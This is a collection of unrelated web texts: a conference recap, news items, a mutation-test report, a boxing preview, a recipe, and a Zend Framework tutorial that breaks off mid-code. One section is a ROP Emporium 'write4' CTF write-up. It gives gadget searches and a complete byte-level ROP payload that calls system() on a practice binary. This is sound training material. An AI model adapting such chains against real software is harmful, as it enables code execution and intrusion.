- pairing, which offers maximum communication bandwidth and is generally considered as a sound approach to tackling the harder problems in software development
Our impact on society
An open discussion and brainstorming session, initiated by @tomw, on how technology is transforming our world and the responsibility / role that software engineers can / should play in this. @istepaniuk in case you don’t know it, this blog post of yours means I am your friend.
Mob Testing with Rock-Paper-Scissors
Another hands-on session by @maaretp, this time with @sharathb. We followed the mob programming principles, with a twist: we were exploratory testers. Great fun and learning happening along the way, adapting our testing strategy, shifting positions every 3 mins, beating the bots in the end! Go Humans!!
Note to self: make sure @maaretp or @sharathb make it to Crete at some point, so we can run this here too! ; )
Evening activities
One of the great benefits with a “retreat” kind of event is that everyone stays together in the same venue. This allows activities to carry on till the early hours of the mourning, so your limit to how much you participate in really is the sleep you need.
- Board & Video games — it was awesome to be in an event where there were more (board|video) games than I had the time to play! (too much else going on!!)
- Night hacking with languages: amazingly, at 1:30am on either of the two nights I found myself looking at an entirely new language: Rust and F# That was great fun! \o/
- A NEW kata: (available here) because the Game of Thrones scenario might just have been based on the rules of Conway’s Game of Life… Co-created with Anita, Ben and Jordan and probably some other passers by… (don’t know all your twitter handles for proper attribution, sorry folks! :( )
Conclusions
Although this was just my first time at SoCraTes UK, it was already great fun and definitely a learning / growing experience! I would recommend it to anyone, as a safe and welcoming environment where you can learn about the craft of making software, and get a chance to practice it alongside others. The “hands on” part allows you to go back home with some new skills and ideas already in your (virtual) luggage!
I am only too curious to find out what other SoCraTes events look like now!!


Police confirm missing teenager David Bivol found safe and well
David Bivol, from Northampton, was believed to be in Scotland wild camping and Scottish police were assisting with the search.
by Lynn LoveA teenager who was believed to have travelled to Edinburgh after going missing has been traced safe and well.
David Bivol, from Northampton, was believed to be near the city wild camping and Scottish police assisted in the search for him.
The 16-year-old hadn't been see since Wednesday, November 6.
His mum Aliona made a poignant post on the Missing People Scotland Facebook page yesterday in a bid to track down.
She said: "Please help to find my missing 16 years old son. He is missing for six days now.
"It's a belief that he may adventure survival camping in Scotland.
"Please watch out for him. Help to bring my baby home
Police confirmed this morning David had been found.
A spokesperson said: "Police Scotland can confirm that David Bivol has been traced safe and well.
"The public are thanked for their assistance in this matter."


| 1 | /* | |
| 2 | * Licensed to the Apache Software Foundation (ASF) under one | |
| 3 | * or more contributor license agreements. See the NOTICE file | |
| 4 | * distributed with this work for additional information | |
| 5 | * regarding copyright ownership. The ASF licenses this file | |
| 6 | * to you under the Apache License, Version 2.0 (the | |
| 7 | * "License"); you may not use this file except in compliance | |
| 8 | * with the License. You may obtain a copy of the License at | |
| 9 | * | |
| 10 | * http://www.apache.org/licenses/LICENSE-2.0 | |
| 11 | * | |
| 12 | * Unless required by applicable law or agreed to in writing, | |
| 13 | * software distributed under the License is distributed on an | |
| 14 | * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY | |
| 15 | * KIND, either express or implied. See the License for the | |
| 16 | * specific language governing permissions and limitations | |
| 17 | * under the License. | |
| 18 | */ | |
| 19 | package org.apache.empire.db.hsql; | |
| 20 | ||
| 21 | import org.apache.empire.data.DataType; | |
| 22 | import org.apache.empire.db.DBCmdType; | |
| 23 | import org.apache.empire.db.DBColumn; | |
| 24 | import org.apache.empire.db.DBDDLGenerator; | |
| 25 | import org.apache.empire.db.DBDatabase; | |
| 26 | import org.apache.empire.db.DBObject; | |
| 27 | import org.apache.empire.db.DBSQLScript; | |
| 28 | import org.apache.empire.db.DBTable; | |
| 29 | import org.apache.empire.db.DBTableColumn; | |
| 30 | ||
| 31 | public class HSqlDDLGenerator extends DBDDLGenerator<DBDatabaseDriverHSql> | |
| 32 | { | |
| 33 | public HSqlDDLGenerator(DBDatabaseDriverHSql driver) | |
| 34 | { | |
| 35 | super(driver); | |
| 36 | // Database object name for DROP database | |
| 37 | databaseObjectName = "SCHEMA"; | |
| 38 | // set Oracle specific data types | |
| 39 |
1
1. <init> : removed call to org/apache/empire/db/hsql/HSqlDDLGenerator::initDataTypes → KILLED |
initDataTypes(); |
| 40 | } | |
| 41 | ||
| 42 | /** | |
| 43 | * sets HSql specific data types | |
| 44 | */ | |
| 45 | private void initDataTypes() | |
| 46 | { // Override data types | |
| 47 | DATATYPE_CLOB = "LONGVARCHAR"; | |
| 48 | DATATYPE_BLOB = "LONGVARBINARY"; | |
| 49 | } | |
| 50 | ||
| 51 | /* | |
| 52 | @Override | |
| 53 | protected boolean appendColumnDataType(DataType type, double size, DBTableColumn c, StringBuilder sql) | |
| 54 | { | |
| 55 | switch (type) | |
| 56 | { | |
| 57 | default: | |
| 58 | // use default | |
| 59 | return super.appendColumnDataType(type, size, c, sql); | |
| 60 | } | |
| 61 | return true; | |
| 62 | } | |
| 63 | */ | |
| 64 | | |
| 65 | @Override | |
| 66 | protected void createDatabase(DBDatabase db, DBSQLScript script) | |
| 67 | { | |
| 68 | // Create all Sequences | |
| 69 | for (DBTable table : db.getTables()) | |
| 70 | { | |
| 71 | for (DBColumn dbColumn : table.getColumns()) | |
| 72 | { | |
| 73 | DBTableColumn c = (DBTableColumn) dbColumn; | |
| 74 |
1
1. createDatabase : negated conditional → KILLED |
if (c.getDataType() == DataType.AUTOINC) { |
| 75 |
1
1. createDatabase : removed call to org/apache/empire/db/hsql/HSqlDDLGenerator::createSequence → KILLED |
createSequence(db, c, script); |
| 76 | } | |
| 77 | } | |
| 78 | } | |
| 79 | // default processing | |
| 80 |
1
1. createDatabase : removed call to org/apache/empire/db/DBDDLGenerator::createDatabase → KILLED |
super.createDatabase(db, script); |
| 81 | } | |
| 82 | | |
| 83 | @Override | |
| 84 | public void getDDLScript(DBCmdType type, DBObject dbo, DBSQLScript script) | |
| 85 | { | |
| 86 |
1
1. getDDLScript : removed call to org/apache/empire/db/DBDDLGenerator::getDDLScript → KILLED |
super.getDDLScript(type, dbo, script); |
| 87 | // Additional tasks | |
| 88 |
2
1. getDDLScript : negated conditional → SURVIVED 2. getDDLScript : negated conditional → SURVIVED |
if ((type==DBCmdType.DROP) && (dbo instanceof DBTable)) |
| 89 | { // Drop Sequences | |
| 90 | for (DBColumn c : ((DBTable) dbo).getColumns()) | |
| 91 | { | |
| 92 |
2
1. getDDLScript : negated conditional → SURVIVED 2. getDDLScript : negated conditional → SURVIVED |
if (c.getDataType() == DataType.AUTOINC && (c instanceof DBTableColumn)) |
| 93 | { // SEQUENCE column | |
| 94 | DBTableColumn column = (DBTableColumn) c; | |
| 95 |
1
1. getDDLScript : removed call to org/apache/empire/db/DBSQLScript::addStmt → SURVIVED |
script.addStmt("DROP SEQUENCE " + column.getSequenceName()); |
| 96 | } | |
| 97 | } | |
| 98 | } | |
| 99 | } | |
| 100 | ||
| 101 | /** | |
| 102 | * Appends the DDL-Script for creating a sequence to an SQL-Script<br> | |
| 103 | * @param db the database to create | |
| 104 | * @param c the column for which to create the sequence | |
| 105 | * @param script the sql script to which to append the dll command(s) | |
| 106 | */ | |
| 107 | protected void createSequence(DBDatabase db, DBTableColumn c, DBSQLScript script) | |
| 108 | { | |
| 109 | Object defValue = c.getDefaultValue(); | |
| 110 |
1
1. createSequence : negated conditional → KILLED |
String seqName = (defValue != null) ? defValue.toString() : c.toString(); |
| 111 | // createSQL | |
| 112 | StringBuilder sql = new StringBuilder(); | |
| 113 | sql.append("-- creating sequence for column "); | |
| 114 | sql.append(c.toString()); | |
| 115 | sql.append(" --\r\n"); | |
| 116 | sql.append("CREATE SEQUENCE "); | |
| 117 |
1
1. createSequence : removed call to org/apache/empire/db/DBDatabase::appendQualifiedName → KILLED |
db.appendQualifiedName(sql, seqName, detectQuoteName(seqName)); |
| 118 | sql.append(" START WITH 1"); | |
| 119 | // executeDLL | |
| 120 |
1
1. createSequence : removed call to org/apache/empire/db/DBSQLScript::addStmt → KILLED |
script.addStmt(sql); |
| 121 | } | |
| 122 | ||
| 123 | } | |
Mutations | ||
| 39 |
1.1 |
|
| 74 |
1.1 |
|
| 75 |
1.1 |
|
| 80 |
1.1 |
|
| 86 |
1.1 |
|
| 88 |
1.1 2.2 |
|
| 92 |
1.1 2.2 |
|
| 95 |
1.1 |
|
| 110 |
1.1 |
|
| 117 |
1.1 |
|
| 120 |
1.1 |


Our mission is to help everyone better manage their gardens and to learn
and grow with our plants.
We strive to be the best in the eyes of our customers, employees and
shareholders.
Profitable growth through superior customer service, innovation, quality and commitment.
Undisputed Marketplace Leadership.
Outstanding service and solutions through dedication and excellence.
Create value for shareholders through the plant energy business.
Help for people on their path to better health.


ROP Emporium write4
Tools: IDA Free 7.0, gdb-gef, ropper, readelf Prerequistes: Stack frame Download solution: main.py
Overview
“In this challenge […] we’ll be looking for gadgets that let us write a value to memory such as mov [reg], reg.”
The author states there are 3 very different ways to solve the challenge, but I’ll stick with the original goal of using a mov [reg], reg gadget.
Function pwnme()
Still the same, except _fgets() accepts an input bigger than ever:
0x00000000004007EC mov rdx, cs:stdin@@GLIBC_2_2_5 ; stream
0x00000000004007F3 lea rax, [rbp+s]
0x00000000004007F7 mov esi, 512 ; n
0x00000000004007FC mov rdi, rax ; s
0x00000000004007FF call _fgets
Function usefulFunction():
This function calls _system(), and edi points to the string “/bin/ls”:
0x0000000000400807 push rbp
0x0000000000400808 mov rbp, rsp
0x000000000040080B mov edi, offset command ; "/bin/ls"
0x0000000000400810 call _system
In the split challenge, the string “/bin/cat flag.txt” was present in the binary. Here it has been removed, so we’ll have to write it somewhere.
Searching a writeable area
Let’s search writeable sections with readelf:
readelf --sections ../challs/write4
There are 31 section headers, starting at offset 0x1bf0:
Section Headers:
[Nr] Name Type Address Offset
Size EntSize Flags Link Info Align
[...]
[26] .bss NOBITS<PHONE_NUMBER>601060 00001060
0000000000000030<PHONE_NUMBER>000000 WA 0 0 32
[...]
Several sections have the W flag. I have chosen .bss as it is big enough to store the string “/bin/cat flag.txt”.
Searching gadgets:
We find 2 memory writes:
ropper --search "mov [" -f ../challs/write4
[...]
0x0000000000400821: mov dword ptr [rsi], edi; ret;
0x0000000000400820: mov qword ptr [r14], r15; ret;
In order to use the first gadget, we have to control the values of rsi and edi:
ropper --search "??? ?di" -f ../challs/write4
[...]
0x0000000000400893: pop rdi; ret;
and:
ropper --search "??? ?si" -f ../challs/write4
[...]
0x0000000000400891: pop rsi; pop r15; ret;
Seems cool. In addition, controlling edi is necessary to call _system() properly. In order to use the second memory write gadget, we have to control r14 and r15:
ropper --search "??? r14" -f ../challs/write4
[...]
0x0000000000400890: pop r14; pop r15; ret;
and:
ropper --search "??? r15" -f ../challs/write4
[...]
0x0000000000400892: pop r15; ret;
To summarize: we can write what we want with the “pop reg” gadgets, and we can write where we want with the “mov [reg], reg” gadgets (as long as the destination is writeable). On a side note, it is funny to see how many gadgets can be found just because rip can points to non-aligned addresses. however, we’ll go for the r14/r15 gadgets.
Building the chain
payload = b''
payload += b'\x41\x41\x41\x41\x41\x41\x41\x41' # fill buffer
payload += b'\x41\x41\x41\x41\x41\x41\x41\x41' # fill buffer
payload += b'\x41\x41\x41\x41\x41\x41\x41\x41' # fill buffer
payload += b'\x41\x41\x41\x41\x41\x41\x41\x41' # fill buffer
payload += b'\x42\x42\x42\x42\x42\x42\x42\x42' # fill buffer (overwrite RSP)
payload += b'\x90\x08\x40\x00\x00\x00\x00\x00' # pop r14, pop r15, ret
payload += b'\x60\x10\x60\x00\x00\x00\x00\x00' # r14 -> .bss
payload += b'\x2f\x62\x69\x6e\x2f\x63\x61\x74' # r15 = "/bin/cat"
payload += b'\x20\x08\x40\x00\x00\x00\x00\x00' # mov [r14], r15
payload += b'\x90\x08\x40\x00\x00\x00\x00\x00' # pop r14, pop r15, ret
payload += b'\x68\x10\x60\x00\x00\x00\x00\x00' # r14 -> .bss+8
payload += b'\x20\x66\x6c\x61\x67\x2e\x74\x78' # r15 = " flag.tx"
payload += b'\x20\x08\x40\x00\x00\x00\x00\x00' # mov [r14], r15
payload += b'\x90\x08\x40\x00\x00\x00\x00\x00' # pop r14, pop r15, ret
payload += b'\x70\x10\x60\x00\x00\x00\x00\x00' # r14 -> .bss+0x10
payload += b'\x74\x00\x00\x00\x00\x00\x00\x00' # r15 = "t\x00"
payload += b'\x20\x08\x40\x00\x00\x00\x00\x00' # mov [r14], r15
payload += b'\x93\x08\x40\x00\x00\x00\x00\x00' # pop rdi, ret
payload += b'\x60\x10\x60\x00\x00\x00\x00\x00' # rdi->"/bin/cat flag.txt"
payload += b'\x10\x08\x40\x00\x00\x00\x00\x00' # call _system()
payload += b'\x43\x43\x43\x43\x43\x43\x43\x43' # dummy (stack alignment)
payload += b'\x79\x06\x40\x00\x00\x00\x00\x00' # hlt
end of file


Thread 1 "ILN-shutoff" received signal SIGSEGV, Segmentation fault.
CDBWrapper::WriteBatch (this=this@entry=0x0, batch=..., fSync=fSync@entry=true) at dbwrapper.cpp:73
73 leveldb::Status status = pdb->Write(fSync ? syncoptions : writeoptions, &batch.batch);
(gdb) backtrace
#0 CDBWrapper::WriteBatch (this=this@entry=0x0, batch=..., fSync=fSync@entry=true) at dbwrapper.cpp:73
#1 0x000055555582bfb9 in CBlockTreeDB::WriteBatchSync (this=0x0, fileInfo=std::vector of length 1, capacity 1 = {...}, nLastFile=<optimized out>,
blockinfo=std::vector of length 1, capacity 1 = {...}) at txdb.cpp:295
#2 0x00005555556b0654 in FlushStateToDisk (state=..., mode=mode@entry=FLUSH_STATE_ALWAYS) at main.cpp:3941
#3 0x00005555556b0c44 in FlushStateToDisk () at main.cpp:3977
#4 0x0000555555626299 in Shutdown () at init.cpp:255
#5 0x00005555555dfc12 in AppInit (argc=<optimized out>, argv=<optimized out>) at bitcoind.cpp:263
#6 0x00005555555e03e9 in main (argc=8, argv=0x7fffffffe178) at bitcoind.cpp:275


About
I'm a software engineer based in Buenos Aires. I've been programming for fun for 10+ years, after a
while I started getting paid for it.
Working completely remotely for over 2 years now, I'm not going back to an office soon.
Resume
Education & Experiences
December 2020 - Present
Equinox Media - Android Engineer
I am part of a big development team (~30 ppl) for an android application, mostly working on UI atm.
September 2019 - December 2020
VieMed - Android Engineer
Part of a very small team (2 ppl), I worked with some low level android apis such as bluetooth, wifi, working here was A LOT of fun.
2015-2019
Software Engineer - Several companies
Not all my experience is focused on android, I have some experience with RoR, React, VueJS, React Native, NodeJS, and some other fun stuff.
2019 - Present
Universidad Tecnológica Nacional - Assistant Professor
I am an assistant professor in a very technical subject, we cover mostly topics related to modern systems architecture. You can go the the website of the subject here (only available in spanish right now)
2012-2018
Universidad Tecnológica Nacional - Ingeniería en Sistemas
Not a lot to say here. Learned some interesting stuff


Canelo Alvarez Vs. Sergey Kovalev: 10 Things You Should Know About Saturday’s Fight
by Brian MaziqueCanelo Alvarez wants to solidify his spot near or at the top of boxing’s pound-for-pound list. He’ll take a major step in that direction if he can go up two weight classes and defeat WBO Light Heavyweight Champion Sergey Kovalev on Saturday in Las Vegas.Here are the 10 things you should know about the fight.
Start Time
- Date: Saturday, Nov. 2
- Undercard: 6:30 p.m. ET
- Main card: 9 p.m. ET
- Main event: Midnight ET (approximate)
- Location: MGM Grand Garden Arena, Las Vegas
Expect to be up late for the main event. A midnight start time could have fight fans up until 1:30-2 a.m. on Sunday morning.
Viewership Info
- Watch: Only on DAZN
The fight is only available legally on DAZN. Here is the subscription info for the streaming service.
- 1 month DAZN subscription: $19.99
- 1 year DAZN subscription: $99.99
Odds
Despite the size disadvantage, oddsmakers like Canelo to down Kovalev, per BetOnline.
- Canelo -400
- Kovalev +330
Rarely will you see a fighter come up so far in weight and be this big of a favorite over a champion.
Prop Bets
The prop bet with the most favorable odds has the fight going the distance. Oddsmakers set that result at -140. Canelo’s win prop bets are paced with -110 odds that the Mexican superstar will win by decision.
Kovalev’s most-likely route to a victory is by decision. Those odds are at +750. If Canelo wins by KO, oddsmakers favor the seventh round at +1600. Kovalev’s best stoppage odds are for the fifth round at +4000.
Interestingly, the odds for a draw are +2500.
Weigh-In Results
There’s been a lot of talk about size in this matchup. Canelo is clearly giving up something in the height and length department, but not much as it pertains to weight. He weighed mere ounces lighter than Kovalev on Friday.
Canelo weighed in just under 175 pounds. Kovalev was right on the light heavyweight limit, but he needed to be weighed three times as he was just over the first two times.
Purses
As part of Canelo’s massive DAZN deal, he’ll rake in $35 million for his work on Saturday. Per the Nevada State Athletic Commission (h/t Dan Rafael of ESPN), Kovalev will make at least $3 million.
Drama Outside of the Ring
Kovalev has some legal issues waiting for him once the dust has settled with the fight. Later this month, an assault case goes to jury trial stemming from an alleged incident in June 2018. There is an $8 million lawsuit attached to these allegations.
Canelo doesn’t have legal problems, but there is dissension between him and his promoter Oscar De La Hoya. Canelo has professed his lack of trust for De La Hoya and has proclaimed their relationship is nothing more than a working one.
Undercard
This isn’t a stacked undercard, but we will see undefeated prospect Ryan Garcia continue his career under the GBP banner.
- Ryan Garcia vs. Romero Duno - Lightweight
- Seniesa Estrada vs. Marlen Esparza - Women's Flyweight WBA (Interim)
- Blair Cobbs vs. Carlos Ortiz - Welterweight
- Evan Holyfield vs. Nick Winstead Jr. - Middleweight
- Bakhram Murtazaliev vs. Jorge Fortea - Jr. Middleweight
- Tristan Kalkreuth vs. Twon Smith - Cruiserweight
- Meiirim Nursultanov vs. Cristian Olivas - Middleweight
Last Time Out
Canelo pulled off another huge victory when he scored a unanimous-decision win over Daniel Jacobs. Alvarez’s improved defense and overall boxing acumen was on full display. Without a question, Canelo is in his prime as a fighter at 29 years old.
Kovalev won his last fight as well. He scored an 11th-round TKO win over previously undefeated challenger Anthony Yarde.
Kovalev had some rough moments in the fight. However, thanks to his jab, Yarde’s poor stamina, and the expert tutelage from trainer Buddy McGirt, Kovalev was able to come out on top.
My Prediction
Size matters, but not in this fight. Canelo is simply too good, and Kovalev is no longer the bully he was before Andre Ward knocked the chip off his shoulder.
Canelo’s skill and body punching will lead to a stoppage victory near the middle rounds.


2021 BMW 5 Series facelift spied with less camouflage
With these latest photos we can confirm the 328-inspired double kidney grille will not feature on the updated 5 Series.
by Derek Fung- shares
The facelifted BMW 5 Series Touring has been spied again, this time with less disguise, especially around the front of the vehicle.
Up front, there's a revised bumper with triangular vents towards the edges. There's also a new grille design with the double kidney elements fused together.
Mercifully the 5 Series looks to have escaped, at least for now, the tall and narrow kidney grilles first seen on the Concept 4 coupe and leaked pre-production versions of the new 4 Series coupe.
The revised grille also seems to have missed out on the steroids given to the 7 Series facelift, or the latest X5 and X7 crossovers.
Head- and tail-light graphics have been changed, while the rear bumper has been tweaked slightly and now incorporates more aggressively-styled exhaust tips.
Under the skin we can expect the revised 5 Series to have some tweaked powertrains.
One possible addition to the range is the 290kW/600Nm six-cylinder plug-in hybrid setup from the 745e xDrive.
1
3
nextprevious
2021 BMW 5 Series facelift spied with less camouflage


Event handling
You will learn how to handle JS events!
This will help you make your webpages so interactive!
Click me!
Change styling of paragraph1.


Preparation time
over 2 hours
Cooking time
30 mins to 1 hour
Serves
Serves 6
This starter is packed with delicious flavours, a great one for sharing. Savoury roasted pears with homemade focaccia, prosciutto and a walnut and gorgonzola salad.
For the focaccia, in a large bowl stir together the flour, yeast and salt (being careful not to put the yeast into direct contact with the salt at the start of mixing). Mix together the olive oil and water in a separate bowl.
Add enough of the oil and water mixture to bring the dry ingredients together to form a soft dough. Turn out onto a lightly floured work surface and knead for 10 minutes, or until smooth and elastic.
Place the dough in a lightly oiled, large bowl. Cover and leave in a warm place for about 1½ hours, or until doubled in size.
Preheat the oven to 220C/425F/Gas 7
When the dough has risen, knead it again to ‘knock it back’ and shape into a rough circle, approximately the size of a large dinner plate using a rolling pin and your hands. Place on a baking tray, cover with a cloth and allow to prove until 1½ times its original size. When proved, use your fingertips to form dimples in the dough. Brush with a little olive oil and sprinkle with sea salt and rosemary sprigs.
Bake in the oven for 10 minutes, and then reduce the heat to 190C/375F/Gas 5 for a further 25-30 minutes, or until golden-brown and cooked. Place on a wire rack to cool slightly.
This bread is best eaten warm and on the day that you bake it. (Do not refrigerate it.)
For the pears, peel the pears, cut them in half and core them. Lay in a roasting tray, cut-side up. Mix the pepper, sugar and salt in a small bowl. Scatter this mixture over the pears.
Drizzle over the cider vinegar, olive oil and two tablespoons water.
Roast in the oven for 25 minutes. Remove the tray from the oven and turn the pears over, drizzle over a further three tablespoons of water and return to the oven for 15-20 minutes, or until the pears are golden-brown and tender.
To serve, arrange the rocket leaves on a serving plate. Mix the olive oil and seasoning in a bowl and drizzle over the leaves. Scatter over the walnut pieces and arrange the cheese on top. Serve the pears warm alongside and drizzle with the roasting juices. Arrange two slices of prosciutto alongside and serve with the warm focaccia bread.


Part of pymine.api.models View In Hierarchy
todo:
1) merge the garbage collection config into the options for each field 2) pass in an argument dict that can be auto-populated with gc (etc) information, and then compiled.
| Class | Meta | Undocumented |
| Static Method | parse | Argument parser/translater for AbstractField. |
| Static Method | bool | implements a bool (true/false) |
| Static Method | choice | implements a choices-field (max length of an encoded choice is 1 character) |
| Static Method | created | implements created date |
| Static Method | datetime | implements date/time field |
| Static Method | file | implements a file |
| Static Method | integer | implements an integer |
| Static Method | last_modified | implements last_modified date |
| Static Method | reference | implements foreign-keys |
| Static Method | reflist | implements list-of-foreign-keys; AbstractField.parses out 'pivot' argument |
| Static Method | slug | implements a slug (alphanumeric string, no spaces) |
| Static Method | string | implements string |
| Static Method | text | implements a text area / text of arbitrary size |
| Static Method | url | implements a URL string |
One dict comes in, another goes out.
implements unique, symmetrical, storage, upload_to, pivot


Configuration of Zend Framework 2 applications happens in several steps:
In this tutorial, we’ll look at the exact sequence, and how you can tie into it.
To begin module loading, we have to tell the Application instance about the available modules and where they live, optionally provide some information to the default module listeners (e.g., where application configuration lives, and what files to load; whether to cache merged configuration, and where; etc.), and optionally seed the ServiceManager. For purposes of this tutorial we will call this the system configuration.
When using the skeleton application, the system configuration is by default in config/application.config.php. The defaults look like this:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 | <?php
return array(
// This should be an array of module namespaces used in the application.
'modules' => array(
'Application',
),
// These are various options for the listeners attached to the ModuleManager
'module_listener_options' => array(
// This should be an array of paths in which modules reside.
// If a string key is provided, the listener will consider that a module
// namespace, the value of that key the specific path to that module's
// Module class.
'module_paths' => array(
'./module',
'./vendor',
),
// An array of paths from which to glob configuration files after
// modules are loaded. These effectively overide configuration
// provided by modules themselves. Paths may use GLOB_BRACE notation.
'config_glob_paths' => array(
'config/autoload/{,*.}{global,local}.php',
),
// Whether or not to enable a configuration cache.
// If enabled, the merged configuration will be cached and used in
// subsequent requests.
//'config_cache_enabled' => $booleanValue,
// The key used to create the configuration cache file name.
//'config_cache_key' => $stringKey,
// Whether or not to enable a module class map cache.
// If enabled, creates a module class map cache which will be used
// by in future requests, to reduce the autoloading process.
//'module_map_cache_enabled' => $booleanValue,
// The key used to create the class map cache file name.
//'module_map_cache_key' => $stringKey,
// The path in which to cache merged configuration.
//'cache_dir' => $stringPath,
// Whether or not to enable modules dependency checking.
// Enabled by default, prevents usage of modules that depend on other modules
// that weren't loaded.
// 'check_dependencies' => true,
),
// Used to create an own service manager. May contain one or more child arrays.
//'service_listener_options' => array(
// array(
// 'service_manager' => $stringServiceManagerName,
// 'config_key' => $stringConfigKey,
// 'interface' => $stringOptionalInterface,
// 'method' => $stringRequiredMethodName,
// ),
// )
// Initial configuration with which to seed the ServiceManager.
// Should be compatible with Zend\ServiceManager\Config.
// 'service_manager' => array(),
);
|
The system configuration is for the bits and pieces related to the MVC that run before your application is ready. The configuration is usually brief, and quite minimal.
Also, system configuration is used immediately, and is not merged with any other configuration – which means it cannot be overridden by a module.
This leads us to our first trick: how do you provide environment-specific system configuration?
What happens when you want to change the set of modules you use based on the environment? Or if the configuration caching should be enabled based on environment?
It is for this reason that the default system configuration we provide in the skeleton application is in PHP; providing it in PHP means you can programmatically manipulate it.
As an example, let’s make the following requirements:
To make this happen, we’ll set an environment variable in our web server configuration, APP_ENV. In Apache, you’d put a directive like the following in either your system-wide apache.conf or httpd.conf, or in the definition for your virtual host; alternately, it can be placed in an .htaccess file.
SetEnv "APP_ENV" "development"
For other web servers, consult the web server documentation to determine how to set environment variables.
To simplify matters, we’ll assume the environment is “production” if no environment variable is present.
We’ll modify the config/application.config.php file to read as follows:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 | <?php
$env = getenv('APP_ENV') ?: 'production';
// Use the $env value to determine which modules to load
$modules = array(
'Application',
);
if ($env == 'development') {
$modules[] = 'ZendDeveloperTools';
}
return array(
'modules' => $modules,
'module_listener_options' => array(
'module_paths' => array(
'./module',
'./vendor',
),
'config_glob_paths' => array(
'config/autoload/{,*.}{global,local}.php',
),
// Use the $env value to determine the state of the flag
'config_cache_enabled' => ($env == 'production'),
'config_cache_key' => 'app_config',
// Use the $env value to determine the state of the flag
'module_map_cache_enabled' => ($env == 'production'),
'module_map_cache_key' => 'module_map',
'cache_dir' => 'data/config/',
// Use the $env value to determine the state of the flag
'check_dependencies' => ($env != 'production'),
),
);
|
This approach gives you flexibility to alter system-level settings.
However, how about altering application specific settings (not system configuration) based on the environment?
Sometimes you want to change application configuration to load things such as database adapters, log writers, cache adapters, and more based on the environment. These are typically managed in the service manager, and may be defined by modules. You can override them at the application level via Zend\ModuleManager\Listener\ConfigListener, by specifying a glob path in the system configuration – the module_listener_options.config_glob_paths key from the previous examples.
The default value for this is config/autoload/{,*.}{global,local}.php. What this means is that it will look for application configuration files in the config/autoload directory, in the following order:
This allows you to define application-level defaults in “global” configuration files, which you would then commit to your version control system, and environment-specific overrides in your “local” configuration files, which you would omit from version control.
This is a great solution for development, as it allows you to specify alternate configuration that’s specific to your development environment without worrying about accidently deploying it. However, what if you have more environments – such as a “testing” or “staging” environment – and they each have their own specific overrides?
Again, the application environment variable comes to play. We can alter the glob path in the system configuration slightly:
'config_glob_paths' => array(
sprintf('config/autoload/{,*.}{global,%s,local}.php', $env)
),
The above will allow you to define an additional set of application configuration files per environment; furthermore, these will be loaded only if that environment is detected!
As an example, consider the following tree of configuration files:
config/
autoload/
global.php
local.php
users.development.php
users.testing.php
users.local.php
If $env evaluates to testing, then the following files will be merged, in the following order:
global.php
users.testing.php
local.php
users.local.php
Note that users.development.php is not loaded – this is because it will not match the glob pattern!
Also, because of the order in which they are loaded, you can predict which values will overwrite the others, allowing you to both selectively overwrite as well as debug later.
Note
The files under config/autoload/ are merged after your module configuration, detailed in next section. We have detailed it here, however, as setting up the application configuration glob path happens within the system configuration (config/application.config.php).
One responsibility of modules is to provide their own configuration to the application. Modules have two general mechanisms for doing this.
First, modules that either implement Zend\ModuleManager\Feature\ConfigProviderInterface and/or a getConfig() method can return their configuration. The default, recommended implementation of the getConfig() method is:
public function getConfig()
{
return include __DIR__ . '/config/module.config.php';
}
where module.config.php returns a PHP array. From that PHP array you can provide general configuration as well as configuration for all the available Manager classes provided by the ServiceManager. Please refer to the Configuration mapping table to see which configuration key is used for each specific Manager.
Second, modules can implement a number of interfaces and/or methods related to specific service manager or plugin manager configuration. You will find an overview of all interfaces and their matching Module Configuration functions inside the Configuration mapping table.
All interfaces are in the Zend\ModuleManager\Feature namespace, and each is expected to return an array of configuration for a service manager, as denoted in the section on default service configuration.
| Manager name | Interface name | Module Method name | Config key name |
|---|---|---|---|
| ControllerPluginManager | ControllerPluginProviderInterface | getControllerPluginConfig() | controller_plugins |
| ControllerLoader | ControllerProviderInterface | getControllerConfig() | controllers |
| FilterManager | FilterProviderInterface | getFilterConfig() | filters |
| FormElementManager | FormElementProviderInterface | getFormElementConfig() | form_elements |
| HydratorManager | HydratorProviderInterface | getHydratorConfig() | hydrators |
| InputFilterManager | InputFilterProviderInterface | getInputFilterConfig() | input_filters |
| RoutePluginManager | RouteProviderInterface | getRouteConfig() | route_manager |
| SerializerAdapterManager | SerializerProviderInterface | getSerializerConfig() | serializers |
| ServiceLocator | ServiceProviderInterface | getServiceConfig() | service_manager |
| ValidatorManager | ValidatorProviderInterface | getValidatorConfig() | validators |
| ViewHelperManager | ViewHelperProviderInterface | getViewHelperConfig() | view_helpers |
Considering that you may have service configuration in your module configuration file, what has precedence?
The order in which they are merged is:
In other words, your various service configuration methods win. Additionally, and of particular note: the configuration returned from those methods will not be cached. The reason for this is that it is not uncommon to use closures or factory instances in configuration returned from your Module class – which cannot be cached reliably.
Note
Use the various service configuration methods when you need to define closures or instance callbacks for factories, abstract factories, and initializers. This prevents caching problems, and also allows you to write your configuration files in other markup formats.
Occasionally you will want to not just override an application configuration key, but actually remove it. Since merging will not remove keys, how can you handle this?
Zend\ModuleManager\Listener\ConfigListener triggers a special event, Zend\ModuleManager\ModuleEvent::EVENT_MERGE_CONFIG, after merging all configuration, but prior to it being passed to the ServiceManager. By listening to this event, you can inspect the merged configuration and manipulate it.
The ConfigListener itself listens to the event at priority 1000 (i.e., very high), which is when the configuration is merged. You can tie into this to modify the merged configuration from your module, via the init() method.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 | namespace Foo;
use Zend\ModuleManager\ModuleEvent;
use Zend\ModuleManager\ModuleManager;
class Module
{
public function init(ModuleManager $moduleManager)
{
$events = $moduleManager->getEventManager();
// Registering a listener at default priority, 1, which will trigger
// after the ConfigListener merges config.
$events->attach(ModuleEvent::EVENT_MERGE_CONFIG, array($this, 'onMergeConfig'));
}
public function onMergeConfig(ModuleEvent $e)
{
$configListener = $e->getConfigListener();
$config = $configListener->getMergedConfig(false);
// Modify the configuration; here, we'll remove a specific key:
if (isset($config['some_key'])) {
unset($config['some_key']);
}
// Pass the changed configuration back to the listener:
